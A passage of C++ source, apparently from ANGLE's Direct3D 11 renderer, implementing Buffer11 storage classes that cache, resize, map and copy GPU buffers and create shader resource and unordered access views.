            cacheEntry->storage  = allocateStorage(BUFFER_USAGE_STRUCTURED);
            cacheEntry->lruCount = ++mMaxStructuredBufferLruCount;
        }
        cacheEntry->lruCount = ++mMaxStructuredBufferLruCount;
        newStorage           = cacheEntry->storage;
    }
    StructuredBufferStorage *structuredBufferStorage = GetAs<StructuredBufferStorage>(newStorage);
    markBufferUsage(BUFFER_USAGE_STRUCTURED);
    if (newStorage->getSize() < static_cast<size_t>(size))
    {
        size_t maximumAllowedAdditionalSize = 2 * getSize();
        size_t sizeDelta = static_cast<size_t>(size) - newStorage->getSize();
        while (mStructuredBufferStorageAdditionalSize + sizeDelta > maximumAllowedAdditionalSize)
        {
            auto iter = std::min_element(std::begin(mStructuredBufferRangeStoragesCache),
                                         std::end(mStructuredBufferRangeStoragesCache),
                                         [](const StructuredBufferCache::value_type &a,
                                            const StructuredBufferCache::value_type &b) {
                                             return a.second.lruCount < b.second.lruCount;
                                         });
            ASSERT(iter->second.storage != newStorage);
            ASSERT(mStructuredBufferStorageAdditionalSize >= iter->second.storage->getSize());
            mStructuredBufferStorageAdditionalSize -= iter->second.storage->getSize();
            SafeDelete(iter->second.storage);
            mStructuredBufferRangeStoragesCache.erase(iter);
        }
        ANGLE_TRY(
            structuredBufferStorage->resizeStructuredBuffer(context, size, structureByteStride));
        mStructuredBufferStorageAdditionalSize += sizeDelta;
        // We don't copy the old data when resizing the structured buffer because the data may be
        // out-of-date therefore we reset the data revision and let updateBufferStorage() handle the
        // copy.
        newStorage->setDataRevision(0);
    }
    ANGLE_TRY(updateBufferStorage(context, newStorage, offset, static_cast<size_t>(size)));
    ANGLE_TRY(garbageCollection(context, BUFFER_USAGE_STRUCTURED));
    ANGLE_TRY(structuredBufferStorage->getStructuredBufferRangeSRV(context, offset, size,
                                                                   structureByteStride, srvOut));
    return angle::Result::Continue;
}
angle::Result Buffer11::updateBufferStorage(const gl::Context *context,
                                            BufferStorage *storage,
                                            size_t sourceOffset,
                                            size_t storageSize)
{
    BufferStorage *latestBuffer = nullptr;
    ANGLE_TRY(getLatestBufferStorage(context, &latestBuffer));
    ASSERT(storage);
    if (!latestBuffer)
    {
        onStorageUpdate(storage);
        return angle::Result::Continue;
    }
    if (latestBuffer->getDataRevision() <= storage->getDataRevision())
    {
        return angle::Result::Continue;
    }
    // Copy through a staging buffer if we're copying from or to a non-staging, mappable
    // buffer storage. This is because we can't map a GPU buffer, and copy CPU
    // data directly. If we're already using a staging buffer we're fine.
    if (latestBuffer->getUsage() != BUFFER_USAGE_STAGING &&
        storage->getUsage() != BUFFER_USAGE_STAGING &&
        (!latestBuffer->isCPUAccessible(GL_MAP_READ_BIT) ||
         !storage->isCPUAccessible(GL_MAP_WRITE_BIT)))
    {
        NativeStorage *stagingBuffer = nullptr;
        ANGLE_TRY(getStagingStorage(context, &stagingBuffer));
        CopyResult copyResult = CopyResult::NOT_RECREATED;
        ANGLE_TRY(stagingBuffer->copyFromStorage(context, latestBuffer, 0, latestBuffer->getSize(),
                                                 0, &copyResult));
        onCopyStorage(stagingBuffer, latestBuffer);
        latestBuffer = stagingBuffer;
    }
    CopyResult copyResult = CopyResult::NOT_RECREATED;
    ANGLE_TRY(
        storage->copyFromStorage(context, latestBuffer, sourceOffset, storageSize, 0, &copyResult));
    // If the D3D buffer has been recreated, we should update our serial.
    if (copyResult == CopyResult::RECREATED)
    {
        updateSerial();
    }
    onCopyStorage(storage, latestBuffer);
    return angle::Result::Continue;
}
angle::Result Buffer11::getLatestBufferStorage(const gl::Context *context,
                                               Buffer11::BufferStorage **storageOut) const
{
    // resize buffer
    if (mLatestBufferStorage && mLatestBufferStorage->getSize() < mSize)
    {
        ANGLE_TRY(mLatestBufferStorage->resize(context, mSize, true));
    }
    *storageOut = mLatestBufferStorage;
    return angle::Result::Continue;
}
template <typename StorageOutT>
angle::Result Buffer11::getStagingStorage(const gl::Context *context, StorageOutT **storageOut)
{
    return getBufferStorage(context, BUFFER_USAGE_STAGING, storageOut);
}
size_t Buffer11::getSize() const
{
    return mSize;
}
bool Buffer11::supportsDirectBinding() const
{
    // Do not support direct buffers for dynamic data. The streaming buffer
    // offers better performance for data which changes every frame.
    return (mUsage == D3DBufferUsage::STATIC);
}
void Buffer11::initializeStaticData(const gl::Context *context)
{
    BufferD3D::initializeStaticData(context);
    onStateChange(angle::SubjectMessage::SubjectChanged);
}
void Buffer11::invalidateStaticData(const gl::Context *context)
{
    BufferD3D::invalidateStaticData(context);
    onStateChange(angle::SubjectMessage::SubjectChanged);
}
void Buffer11::onCopyStorage(BufferStorage *dest, BufferStorage *source)
{
    ASSERT(source && mLatestBufferStorage);
    dest->setDataRevision(source->getDataRevision());
    // Only update the latest buffer storage if our usage index is lower. See comment in header.
    if (dest->getUsage() < mLatestBufferStorage->getUsage())
    {
        mLatestBufferStorage = dest;
    }
}
void Buffer11::onStorageUpdate(BufferStorage *updatedStorage)
{
    updatedStorage->setDataRevision(updatedStorage->getDataRevision() + 1);
    mLatestBufferStorage = updatedStorage;
}
// Buffer11::BufferStorage implementation
Buffer11::BufferStorage::BufferStorage(Renderer11 *renderer, BufferUsage usage)
    : mRenderer(renderer), mRevision(0), mUsage(usage), mBufferSize(0)
{}
angle::Result Buffer11::BufferStorage::setData(const gl::Context *context,
                                               const uint8_t *data,
                                               size_t offset,
                                               size_t size)
{
    ASSERT(isCPUAccessible(GL_MAP_WRITE_BIT));
    // Uniform storage can have a different internal size than the buffer size. Ensure we don't
    // overflow.
    size_t mapSize = std::min(size, mBufferSize - offset);
    uint8_t *writePointer = nullptr;
    ANGLE_TRY(map(context, offset, mapSize, GL_MAP_WRITE_BIT, &writePointer));
    memcpy(writePointer, data, mapSize);
    unmap();
    return angle::Result::Continue;
}
// Buffer11::NativeStorage implementation
Buffer11::NativeStorage::NativeStorage(Renderer11 *renderer,
                                       BufferUsage usage,
                                       const angle::Subject *onStorageChanged)
    : BufferStorage(renderer, usage), mBuffer(), mOnStorageChanged(onStorageChanged)
{}
Buffer11::NativeStorage::~NativeStorage()
{
    clearSRVs();
    clearUAVs();
}
bool Buffer11::NativeStorage::isCPUAccessible(GLbitfield access) const
{
    if ((access & GL_MAP_READ_BIT) != 0)
    {
        // Read is more exclusive than write mappability.
        return (mUsage == BUFFER_USAGE_STAGING);
    }
    ASSERT((access & GL_MAP_WRITE_BIT) != 0);
    return (mUsage == BUFFER_USAGE_STAGING || mUsage == BUFFER_USAGE_UNIFORM ||
            mUsage == BUFFER_USAGE_STRUCTURED);
}
// Returns true if it recreates the direct buffer
angle::Result Buffer11::NativeStorage::copyFromStorage(const gl::Context *context,
                                                       BufferStorage *source,
                                                       size_t sourceOffset,
                                                       size_t size,
                                                       size_t destOffset,
                                                       CopyResult *resultOut)
{
    size_t requiredSize = destOffset + size;
    // (Re)initialize D3D buffer if needed
    bool preserveData = (destOffset > 0);
    if (!mBuffer.valid() || mBufferSize < requiredSize)
    {
        ANGLE_TRY(resize(context, requiredSize, preserveData));
        *resultOut = CopyResult::RECREATED;
    }
    else
    {
        *resultOut = CopyResult::NOT_RECREATED;
    }
    size_t clampedSize = size;
    if (mUsage == BUFFER_USAGE_UNIFORM)
    {
        clampedSize = std::min(clampedSize, mBufferSize - destOffset);
    }
    if (clampedSize == 0)
    {
        return angle::Result::Continue;
    }
    if (source->getUsage() == BUFFER_USAGE_PIXEL_PACK ||
        source->getUsage() == BUFFER_USAGE_SYSTEM_MEMORY)
    {
        ASSERT(source->isCPUAccessible(GL_MAP_READ_BIT) && isCPUAccessible(GL_MAP_WRITE_BIT));
        // Uniform buffers must be mapped with write/discard.
        ASSERT(!(preserveData && mUsage == BUFFER_USAGE_UNIFORM));
        uint8_t *sourcePointer = nullptr;
        ANGLE_TRY(source->map(context, sourceOffset, clampedSize, GL_MAP_READ_BIT, &sourcePointer));
        auto err = setData(context, sourcePointer, destOffset, clampedSize);
        source->unmap();
        ANGLE_TRY(err);
    }
    else
    {
        D3D11_BOX srcBox;
        srcBox.left   = static_cast<unsigned int>(sourceOffset);
        srcBox.right  = static_cast<unsigned int>(sourceOffset + clampedSize);
        srcBox.top    = 0;
        srcBox.bottom = 1;
        srcBox.front  = 0;
        srcBox.back   = 1;
        const d3d11::Buffer *sourceBuffer = &GetAs<NativeStorage>(source)->getBuffer();
        ID3D11DeviceContext *deviceContext = mRenderer->getDeviceContext();
        deviceContext->CopySubresourceRegion(mBuffer.get(), 0,
                                             static_cast<unsigned int>(destOffset), 0, 0,
                                             sourceBuffer->get(), 0, &srcBox);
    }
    return angle::Result::Continue;
}
angle::Result Buffer11::NativeStorage::resize(const gl::Context *context,
                                              size_t size,
                                              bool preserveData)
{
    if (size == 0)
    {
        mBuffer.reset();
        mBufferSize = 0;
        return angle::Result::Continue;
    }
    D3D11_BUFFER_DESC bufferDesc;
    FillBufferDesc(&bufferDesc, mRenderer, mUsage, static_cast<unsigned int>(size));
    d3d11::Buffer newBuffer;
    ANGLE_TRY(
        mRenderer->allocateResource(SafeGetImplAs<Context11>(context), bufferDesc, &newBuffer));
    newBuffer.setDebugName("Buffer11::NativeStorage");
    if (mBuffer.valid() && preserveData)
    {
        // We don't call resize if the buffer is big enough already.
        ASSERT(mBufferSize <= size);
        D3D11_BOX srcBox;
        srcBox.left   = 0;
        srcBox.right  = static_cast<unsigned int>(mBufferSize);
        srcBox.top    = 0;
        srcBox.bottom = 1;
        srcBox.front  = 0;
        srcBox.back   = 1;
        ID3D11DeviceContext *deviceContext = mRenderer->getDeviceContext();
        deviceContext->CopySubresourceRegion(newBuffer.get(), 0, 0, 0, 0, mBuffer.get(), 0,
                                             &srcBox);
    }
    // No longer need the old buffer
    mBuffer = std::move(newBuffer);
    mBufferSize = bufferDesc.ByteWidth;
    // Free the SRVs.
    clearSRVs();
    // Free the UAVs.
    clearUAVs();
    // Notify that the storage has changed.
    if (mOnStorageChanged)
    {
        mOnStorageChanged->onStateChange(angle::SubjectMessage::SubjectChanged);
    }
    return angle::Result::Continue;
}
// static
void Buffer11::NativeStorage::FillBufferDesc(D3D11_BUFFER_DESC *bufferDesc,
                                             Renderer11 *renderer,
                                             BufferUsage usage,
                                             unsigned int bufferSize)
{
    bufferDesc->ByteWidth           = bufferSize;
    bufferDesc->MiscFlags           = 0;
    bufferDesc->StructureByteStride = 0;
    switch (usage)
    {
        case BUFFER_USAGE_STAGING:
            bufferDesc->Usage          = D3D11_USAGE_STAGING;
            bufferDesc->BindFlags      = 0;
            bufferDesc->CPUAccessFlags = D3D11_CPU_ACCESS_READ | D3D11_CPU_ACCESS_WRITE;
            break;
        case BUFFER_USAGE_VERTEX_OR_TRANSFORM_FEEDBACK:
            bufferDesc->Usage     = D3D11_USAGE_DEFAULT;
            bufferDesc->BindFlags = D3D11_BIND_VERTEX_BUFFER;
            if (renderer->isES3Capable())
            {
                bufferDesc->BindFlags |= D3D11_BIND_STREAM_OUTPUT;
            }
            bufferDesc->CPUAccessFlags = 0;
            break;
        case BUFFER_USAGE_INDEX:
            bufferDesc->Usage          = D3D11_USAGE_DEFAULT;
            bufferDesc->BindFlags      = D3D11_BIND_INDEX_BUFFER;
            bufferDesc->CPUAccessFlags = 0;
            break;
        case BUFFER_USAGE_INDIRECT:
            bufferDesc->MiscFlags      = D3D11_RESOURCE_MISC_DRAWINDIRECT_ARGS;
            bufferDesc->Usage          = D3D11_USAGE_DEFAULT;
            bufferDesc->BindFlags      = 0;
            bufferDesc->CPUAccessFlags = 0;
            break;
        case BUFFER_USAGE_PIXEL_UNPACK:
            bufferDesc->Usage          = D3D11_USAGE_DEFAULT;
            bufferDesc->BindFlags      = D3D11_BIND_SHADER_RESOURCE;
            bufferDesc->CPUAccessFlags = 0;
            break;
        case BUFFER_USAGE_UNIFORM:
            bufferDesc->Usage          = D3D11_USAGE_DYNAMIC;
            bufferDesc->BindFlags      = D3D11_BIND_CONSTANT_BUFFER;
            bufferDesc->CPUAccessFlags = D3D11_CPU_ACCESS_WRITE;
            // Constant buffers must be of a limited size, and aligned to 16 byte boundaries
            // For our purposes we ignore any buffer data past the maximum constant buffer size
            bufferDesc->ByteWidth = roundUp(bufferDesc->ByteWidth, 16u);
            // Note: it seems that D3D11 allows larger buffers on some platforms, but not all.
            // (Windows 10 seems to allow larger constant buffers, but not Windows 7)
            if (!renderer->getRenderer11DeviceCaps().supportsConstantBufferOffsets)
            {
                bufferDesc->ByteWidth = std::min<UINT>(
                    bufferDesc->ByteWidth,
                    static_cast<UINT>(renderer->getNativeCaps().maxUniformBlockSize));
            }
            break;
        case BUFFER_USAGE_RAW_UAV:
            bufferDesc->MiscFlags      = D3D11_RESOURCE_MISC_BUFFER_ALLOW_RAW_VIEWS;
            bufferDesc->BindFlags      = D3D11_BIND_UNORDERED_ACCESS;
            bufferDesc->Usage          = D3D11_USAGE_DEFAULT;
            bufferDesc->CPUAccessFlags = 0;
            break;
        default:
            UNREACHABLE();
    }
}
angle::Result Buffer11::NativeStorage::map(const gl::Context *context,
                                           size_t offset,
                                           size_t length,
                                           GLbitfield access,
                                           uint8_t **mapPointerOut)
{
    ASSERT(isCPUAccessible(access));
    D3D11_MAPPED_SUBRESOURCE mappedResource;
    D3D11_MAP d3dMapType = gl_d3d11::GetD3DMapTypeFromBits(mUsage, access);
    UINT d3dMapFlag = ((access & GL_MAP_UNSYNCHRONIZED_BIT) != 0 ? D3D11_MAP_FLAG_DO_NOT_WAIT : 0);
    ANGLE_TRY(
        mRenderer->mapResource(context, mBuffer.get(), 0, d3dMapType, d3dMapFlag, &mappedResource));
    ASSERT(mappedResource.pData);
    *mapPointerOut = static_cast<uint8_t *>(mappedResource.pData) + offset;
    return angle::Result::Continue;
}
void Buffer11::NativeStorage::unmap()
{
    ASSERT(isCPUAccessible(GL_MAP_WRITE_BIT) || isCPUAccessible(GL_MAP_READ_BIT));
    ID3D11DeviceContext *context = mRenderer->getDeviceContext();
    context->Unmap(mBuffer.get(), 0);
}
angle::Result Buffer11::NativeStorage::getSRVForFormat(const gl::Context *context,
                                                       DXGI_FORMAT srvFormat,
                                                       const d3d11::ShaderResourceView **srvOut)
{
    auto bufferSRVIt = mBufferResourceViews.find(srvFormat);
    if (bufferSRVIt != mBufferResourceViews.end())
    {
        *srvOut = &bufferSRVIt->second;
        return angle::Result::Continue;
    }
    const d3d11::DXGIFormatSize &dxgiFormatInfo = d3d11::GetDXGIFormatSizeInfo(srvFormat);
    D3D11_SHADER_RESOURCE_VIEW_DESC bufferSRVDesc;
    bufferSRVDesc.Buffer.ElementOffset = 0;
    bufferSRVDesc.Buffer.ElementWidth  = static_cast<UINT>(mBufferSize) / dxgiFormatInfo.pixelBytes;
    bufferSRVDesc.ViewDimension        = D3D11_SRV_DIMENSION_BUFFER;
    bufferSRVDesc.Format               = srvFormat;
    ANGLE_TRY(mRenderer->allocateResource(GetImplAs<Context11>(context), bufferSRVDesc,
                                          mBuffer.get(), &mBufferResourceViews[srvFormat]));
    *srvOut = &mBufferResourceViews[srvFormat];
    return angle::Result::Continue;
}
angle::Result Buffer11::NativeStorage::getRawUAV(const gl::Context *context,
                                                 unsigned int offset,
                                                 unsigned int size,
                                                 d3d11::UnorderedAccessView **uavOut)
{
    ASSERT(offset + size <= mBufferSize);
    auto bufferRawUAV = mBufferRawUAVs.find({offset, size});
    if (bufferRawUAV != mBufferRawUAVs.end())
    {
        *uavOut = &bufferRawUAV->second;
        return angle::Result::Continue;
    }
    D3D11_UNORDERED_ACCESS_VIEW_DESC bufferUAVDesc;
    // DXGI_FORMAT_R32_TYPELESS uses 4 bytes per element
    constexpr int kBytesToElement     = 4;
    bufferUAVDesc.Buffer.FirstElement = offset / kBytesToElement;
    bufferUAVDesc.Buffer.NumElements  = size / kBytesToElement;
    bufferUAVDesc.Buffer.Flags        = D3D11_BUFFER_UAV_FLAG_RAW;
    bufferUAVDesc.Format = DXGI_FORMAT_R32_TYPELESS;  // Format must be DXGI_FORMAT_R32_TYPELESS,
                                                      // when creating Raw Unordered Access View
    bufferUAVDesc.ViewDimension = D3D11_UAV_DIMENSION_BUFFER;
    ANGLE_TRY(mRenderer->allocateResource(GetImplAs<Context11>(context), bufferUAVDesc,
                                          mBuffer.get(), &mBufferRawUAVs[{offset, size}]));
    *uavOut = &mBufferRawUAVs[{offset, size}];
    return angle::Result::Continue;
}
void Buffer11::NativeStorage::clearSRVs()
{
    mBufferResourceViews.clear();
}
void Buffer11::NativeStorage::clearUAVs()
{
    mBufferRawUAVs.clear();
}
Buffer11::StructuredBufferStorage::StructuredBufferStorage(Renderer11 *renderer,
                                                           BufferUsage usage,
                                                           const angle::Subject *onStorageChanged)
    : NativeStorage(renderer, usage, onStorageChanged), mStructuredBufferResourceView()
{}
Buffer11::StructuredBufferStorage::~StructuredBufferStorage()
{
    mStructuredBufferResourceView.reset();
}
angle::Result Buffer11::StructuredBufferStorage::resizeStructuredBuffer(
    const gl::Context *context,
    unsigned int size,
    unsigned int structureByteStride)
{
    if (size == 0)
    {
        mBuffer.reset();
        mBufferSize = 0;
        return angle::Result::Continue;
    }
    D3D11_BUFFER_DESC bufferDesc;
    bufferDesc.ByteWidth           = size;
    bufferDesc.MiscFlags           = D3D11_RESOURCE_MISC_BUFFER_STRUCTURED;
    bufferDesc.StructureByteStride = structureByteStride;
    bufferDesc.Usage               = D3D11_USAGE_DYNAMIC;
    bufferDesc.BindFlags           = D3D11_BIND_SHADER_RESOURCE;
    bufferDesc.CPUAccessFlags      = D3D11_CPU_ACCESS_WRITE;
    d3d11::Buffer newBuffer;
    ANGLE_TRY(
        mRenderer->allocateResource(SafeGetImplAs<Context11>(context), bufferDesc, &newBuffer));
    newBuffer.setDebugName("Buffer11::StructuredBufferStorage");
    // No longer need the old buffer
    mBuffer = std::move(newBuffer);
    mBufferSize = static_cast<size_t>(bufferDesc.ByteWidth);
    mStructuredBufferResourceView.reset();
    // Notify that the storage has changed.
    if (mOnStorageChanged)
    {
        mOnStorageChanged->onStateChange(angle::SubjectMessage::SubjectChanged);
    }
    return angle::Result::Continue;
}
angle::Result Buffer11::StructuredBufferStorage::getStructuredBufferRangeSRV(
    const gl::Context *context,
    unsigned int offset,
    unsigned int size,
    unsigned int structureByteStride,
    const d3d11::ShaderResourceView **srvOut)
{
    if (mStructuredBufferResourceView.valid())
    {
        *srvOut = &mStructuredBufferResourceView;
        return angle::Result::Continue;
    }
    D3D11_SHADER_RESOURCE_VIEW_DESC bufferSRVDesc = {};
    bufferSRVDesc.BufferEx.NumElements = structureByteStride == 0u ? 1 : size / structureByteStride;
    bufferSRVDesc.BufferEx.FirstElement = 0;
    bufferSRVDesc.BufferEx.Flags        = 0;
    bufferSRVDesc.ViewDimension         = D3D11_SRV_DIMENSION_BUFFEREX;
    bufferSRVDesc.Format                = DXGI_FORMAT_UNKNOWN;
    ANGLE_TRY(mRenderer->allocateResource(GetImplAs<Context11>(context), bufferSRVDesc,
                                          mBuffer.get(), &mStructuredBufferResourceView));
    *srvOut = &mStructuredBufferResourceView;
    return angle::Result::Continue;
}
// Buffer11::EmulatedIndexStorage implementation
Buffer11::EmulatedIndexedStorage::EmulatedIndexedStorage(Renderer11 *renderer)
    : BufferStorage(renderer, BUFFER_USAGE_EMULATED_INDEXED_VERTEX), mBuffer()
{}
Buffer11::EmulatedIndexedStorage::~EmulatedIndexedStorage() {}
angle::Result Buffer11::EmulatedIndexedStorage::getBuffer(const gl::Context *context,
                                                          SourceIndexData *indexInfo,
                                                          const TranslatedAttribute &attribute,
                                                          GLint startVertex,
                                                          const d3d11::Buffer **bufferOut)
{
    Context11 *context11 = GetImplAs<Context11>(context);
    // If a change in the indices applied from the last draw call is detected, then the emulated
    // indexed buffer needs to be invalidated.  After invalidation, the change detected flag should
    // be cleared to avoid unnecessary recreation of the buffer.
    if (!mBuffer.valid() || indexInfo->srcIndicesChanged)
    {
        mBuffer.reset();
        // Copy the source index data. This ensures that the lifetime of the indices pointer
        // stays with this storage until the next time we invalidate.
        size_t indicesDataSize = 0;
        switch (indexInfo->srcIndexType)
        {
            case gl::DrawElementsType::UnsignedInt:
                indicesDataSize = sizeof(GLuint) * indexInfo->srcCount;
                break;
            case gl::DrawElementsType::UnsignedShort:
                indicesDataSize = sizeof(GLushort) * indexInfo->srcCount;
                break;
            case gl::DrawElementsType::UnsignedByte:
                indicesDataSize = sizeof(GLubyte) * indexInfo->srcCount;
                break;
            default:
                indicesDataSize = sizeof(GLushort) * indexInfo->srcCount;
                break;
        }
        ANGLE_CHECK_GL_ALLOC(context11, mIndicesMemoryBuffer.resize(indicesDataSize));
        memcpy(mIndicesMemoryBuffer.data(), indexInfo->srcIndices, indicesDataSize);
        indexInfo->srcIndicesChanged = false;
    }
    if (!mBuffer.valid())
    {
        unsigned int offset = 0;
        ANGLE_TRY(attribute.computeOffset(context, startVertex, &offset));
        // Expand the memory storage upon request and cache the results.
        unsigned int expandedDataSize =
            static_cast<unsigned int>((indexInfo->srcCount * attribute.stride) + offset);
        angle::MemoryBuffer expandedData;
        ANGLE_CHECK_GL_ALLOC(context11, expandedData.resize(expandedDataSize));
        // Clear the contents of the allocated buffer
        ZeroMemory(expandedData.data(), expandedDataSize);
        uint8_t *curr      = expandedData.data();
        const uint8_t *ptr = static_cast<const uint8_t *>(indexInfo->srcIndices);
        // Ensure that we start in the correct place for the emulated data copy operation to
        // maintain offset behaviors.
        curr += offset;
        ReadIndexValueFunction readIndexValue = ReadIndexValueFromIndices<GLushort>;
        switch (indexInfo->srcIndexType)
        {
            case gl::DrawElementsType::UnsignedInt:
                readIndexValue = ReadIndexValueFromIndices<GLuint>;
                break;
            case gl::DrawElementsType::UnsignedShort:
                readIndexValue = ReadIndexValueFromIndices<GLushort>;
                break;
            case gl::DrawElementsType::UnsignedByte:
                readIndexValue = ReadIndexValueFromIndices<GLubyte>;
                break;
            default:
                UNREACHABLE();
                return angle::Result::Stop;
        }
        // Iterate over the cached index data and copy entries indicated into the emulated buffer.
        for (GLuint i = 0; i < indexInfo->srcCount; i++)
        {
            GLuint idx = readIndexValue(ptr, i);
            memcpy(curr, mMemoryBuffer.data() + (attribute.stride * idx), attribute.stride);
            curr += attribute.stride;
        }
        // Finally, initialize the emulated indexed native storage object with the newly copied data
        // and free the temporary buffers used.
        D3D11_BUFFER_DESC bufferDesc;
        bufferDesc.ByteWidth           = expandedDataSize;
        bufferDesc.MiscFlags           = 0;
        bufferDesc.StructureByteStride = 0;
        bufferDesc.Usage               = D3D11_USAGE_DEFAULT;
        bufferDesc.BindFlags           = D3D11_BIND_VERTEX_BUFFER;
        bufferDesc.CPUAccessFlags      = 0;
        D3D11_SUBRESOURCE_DATA subResourceData = {expandedData.data(), 0, 0};
        ANGLE_TRY(mRenderer->allocateResource(GetImplAs<Context11>(context), bufferDesc,
                                              &subResourceData, &mBuffer));
        mBuffer.setDebugName("Buffer11::EmulatedIndexedStorage");
    }
    *bufferOut = &mBuffer;
    return angle::Result::Continue;
}
angle::Result Buffer11::EmulatedIndexedStorage::copyFromStorage(const gl::Context *context,
                                                                BufferStorage *source,
                                                                size_t sourceOffset,
                                                                size_t size,
                                                                size_t destOffset,
                                                                CopyResult *resultOut)
{
    ASSERT(source->isCPUAccessible(GL_MAP_READ_BIT));
    uint8_t *sourceData = nullptr;
    ANGLE_TRY(source->map(context, sourceOffset, size, GL_MAP_READ_BIT, &sourceData));
    ASSERT(destOffset + size <= mMemoryBuffer.size());
    memcpy(mMemoryBuffer.data() + destOffset, sourceData, size);
    source->unmap();
    *resultOut = CopyResult::RECREATED;
    return angle::Result::Continue;
}
angle::Result Buffer11::EmulatedIndexedStorage::resize(const gl::Context *context,
                                                       size_t size,
                                                       bool preserveData)
{
    if (mMemoryBuffer.size() < size)
    {
        Context11 *context11 = GetImplAs<Context11>(context);
        ANGLE_CHECK_GL_ALLOC(context11, mMemoryBuffer.resize(size));
        mBufferSize = size;
    }
    return angle::Result::Continue;
}
angle::Result Buffer11::EmulatedIndexedStorage::map(const gl::Context *context,
                                                    size_t offset,
                                                    size_t length,
                                                    GLbitfield access,
                                                    uint8_t **mapPointerOut)
{
    ASSERT(!mMemoryBuffer.empty() && offset + length <= mMemoryBuffer.size());
    *mapPointerOut = mMemoryBuffer.data() + offset;
    return angle::Result::Continue;
}
void Buffer11::EmulatedIndexedStorage::unmap()
{
    // No-op
}
// Buffer11::PackStorage implementation
Buffer11::PackStorage::PackStorage(Renderer11 *renderer)
    : BufferStorage(renderer, BUFFER_USAGE_PIXEL_PACK), mStagingTexture(), mDataModified(false)
{}
Buffer11::PackStorage::~PackStorage() {}
angle::Result Buffer11::PackStorage::copyFromStorage(const gl::Context *context,
                                                     BufferStorage *source,
                                                     size_t sourceOffset,
                                                     size_t size,
                                                     size_t destOffset,
                                                     CopyResult *resultOut)
{
    ANGLE_TRY(flushQueuedPackCommand(context));
    // For all use cases of pack buffers, we must copy through a readable buffer.
    ASSERT(source->isCPUAccessible(GL_MAP_READ_BIT));
    uint8_t *sourceData = nullptr;
    ANGLE_TRY(source->map(context, sourceOffset, size, GL_MAP_READ_BIT, &sourceData));
    ASSERT(destOffset + size <= mMemoryBuffer.size());
    memcpy(mMemoryBuffer.data() + destOffset, sourceData, size);
    source->unmap();
    *resultOut = CopyResult::NOT_RECREATED;
    return angle::Result::Continue;
}
angle::Result Buffer11::PackStorage::resize(const gl::Context *context,
                                            size_t size,
                                            bool preserveData)
{
    if (size != mBufferSize)
    {
        Context11 *context11 = GetImplAs<Context11>(context);
        ANGLE_CHECK_GL_ALLOC(context11, mMemoryBuffer.resize(size));
        mBufferSize = size;
    }
    return angle::Result::Continue;
}
angle::Result Buffer11::PackStorage::map(const gl::Context *context,
                                         size_t offset,
                                         size_t length,
                                         GLbitfield access,
                                         uint8_t **mapPointerOut)
{
    ASSERT(offset + length <= getSize());
    // TODO: fast path
    //  We might be able to optimize out one or more memcpy calls by detecting when
    //  and if D3D packs the staging texture memory identically to how we would fill
    //  the pack buffer according to the current pack state.
    ANGLE_TRY(flushQueuedPackCommand(context));
    mDataModified = (mDataModified || (access & GL_MAP_WRITE_BIT) != 0);
    *mapPointerOut = mMemoryBuffer.data() + offset;
    return angle::Result::Continue;
}
void Buffer11::PackStorage::unmap()
{
    // No-op
}
angle::Result Buffer11::PackStorage::packPixels(const gl::Context *context,
                                                const gl::FramebufferAttachment &readAttachment,
                                                const PackPixelsParams &params)
{
    ANGLE_TRY(flushQueuedPackCommand(context));
    RenderTarget11 *renderTarget = nullptr;
    ANGLE_TRY(readAttachment.getRenderTarget(context, 0, &renderTarget));
    const TextureHelper11 &srcTexture = renderTarget->getTexture();
    ASSERT(srcTexture.valid());
    unsigned int srcSubresource = renderTarget->getSubresourceIndex();
    mQueuedPackCommand.reset(new PackPixelsParams(params));
    gl::Extents srcTextureSize(params.area.width, params.area.height, 1);
    if (!mStagingTexture.get() || mStagingTexture.getFormat() != srcTexture.getFormat() ||
        mStagingTexture.getExtents() != srcTextureSize)
    {
        ANGLE_TRY(mRenderer->createStagingTexture(context, srcTexture.getTextureType(),
                                                  srcTexture.getFormatSet(), srcTextureSize,
                                                  StagingAccess::READ, &mStagingTexture));
    }
    // ReadPixels from multisampled FBOs isn't supported in current GL
    ASSERT(srcTexture.getSampleCount() <= 1);
    ID3D11DeviceContext *immediateContext = mRenderer->getDeviceContext();
    D3D11_BOX srcBox;
    srcBox.left   = params.area.x;
    srcBox.right  = params.area.x + params.area.width;
    srcBox.top    = params.area.y;
    srcBox.bottom = params.area.y + params.area.height;
    // Select the correct layer from a 3D attachment
    srcBox.front = 0;
    if (mStagingTexture.is3D())
    {
        srcBox.front = static_cast<UINT>(readAttachment.layer());
    }
    srcBox.back = srcBox.front + 1;
    // Asynchronous copy
    immediateContext->CopySubresourceRegion(mStagingTexture.get(), 0, 0, 0, 0, srcTexture.get(),
                                            srcSubresource, &srcBox);
    return angle::Result::Continue;
}
angle::Result Buffer11::PackStorage::flushQueuedPackCommand(const gl::Context *context)
{
    ASSERT(mMemoryBuffer.size() > 0);
    if (mQueuedPackCommand)
    {
        ANGLE_TRY(mRenderer->packPixels(context, mStagingTexture, *mQueuedPackCommand,
                                        mMemoryBuffer.data()));
        mQueuedPackCommand.reset(nullptr);
    }
    return angle::Result::Continue;
}
// Buffer11::SystemMemoryStorage implementation
Buffer11::SystemMemoryStorage::SystemMemoryStorage(Renderer11 *renderer)
    : Buffer11::BufferStorage(renderer, BUFFER_USAGE_SYSTEM_MEMORY)
{}
angle::Result Buffer11::SystemMemoryStorage::copyFromStorage(const gl::Context *context,
                                                             BufferStorage *source,
                                                             size_t sourceOffset,
                                                             size_t size,
                                                             size_t destOffset,
                                                             CopyResult *resultOut)
{
    ASSERT(source->isCPUAccessible(GL_MAP_READ_BIT));
    uint8_t *sourceData = nullptr;
    ANGLE_TRY(source->map(context, sourceOffset, size, GL_MAP_READ_BIT, &sourceData));
    ASSERT(destOffset + size <= mSystemCopy.size());
    memcpy(mSystemCopy.data() + destOffset, sourceData, size);
    source->unmap();
    *resultOut = CopyResult::RECREATED;
    return angle::Result::Continue;
}
angle::Result Buffer11::SystemMemoryStorage::resize(const gl::Context *context,
                                                    size_t size,
                                                    bool preserveData)
{
    if (mSystemCopy.size() < size)
    {
        Context11 *context11 = GetImplAs<Context11>(context);
        ANGLE_CHECK_GL_ALLOC(context11, mSystemCopy.resize(size));
        mBufferSize = size;
    }
    return angle::Result::Continue;
}
angle::Result Buffer11::SystemMemoryStorage::map(const gl::Context *context,
                                                 size_t offset,
                                                 size_t length,
                                                 GLbitfield access,
                                                 uint8_t **mapPointerOut)
{
    ASSERT(!mSystemCopy.empty() && offset + length <= mSystemCopy.size());
    *mapPointerOut = mSystemCopy.data() + offset;
    return angle::Result::Continue;
}
